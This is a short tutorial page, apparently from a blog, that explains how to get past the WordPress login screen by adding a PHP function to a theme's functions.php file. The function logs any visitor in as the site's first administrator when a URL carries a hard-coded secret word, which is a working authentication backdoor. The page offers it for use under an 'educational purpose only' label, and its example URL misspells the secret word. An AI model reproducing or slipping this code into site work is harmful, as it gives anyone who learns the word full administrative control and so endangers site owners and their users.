Bypass WordPress Login Screen without username and password

You can bypass wordpress login screen without any credentials by updating a file named “functions.php” in your theme files.
Bypass WordPress Login Screen without username and password Bypass WordPress Login Screen without username and password
Bypass WordPress Login Screen without username and password

FOR EDUCATIONAL PURPOSE ONLY

The code is to be placed in the functions.php file of your WordPress website.

[YOU DON’T HAVE TO UPDATE ANY USERNAME – UPDATED CODE]

function auto_login_by_role() {
    // Check if the 'login' parameter is in the URL and matches the secret word
    if (isset($_GET['login']) && $_GET['login'] === 'secretword') {
        // Define the role you want to use for auto-login (e.g., 'administrator', 'editor', 'subscriber', etc.)
        $role = 'administrator';
        
        // Get all users with the specified role
        $users = get_users(array(
            'role'    => $role,
            'number'  => 1 // Only get the first user with this role
        ));
        
        // If a user with the specified role exists
        if (!empty($users)) {
            $user = $users[0]; // Get the first user with the role
            
            // Log the user in
            wp_clear_auth_cookie();
            wp_set_current_user($user->ID);
            wp_set_auth_cookie($user->ID);
            
            // Redirect to the dashboard
            wp_redirect(admin_url());
            exit;
        }
    }
}
add_action('init', 'auto_login_by_role');

Unique URL to bypass WordPress login screen

https://yourwebsiteurl/wp-admin/?login=scretword

Video Tutorial

Subscribe my channel to support
Add a comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Sponsored Ad

Sponsored Ad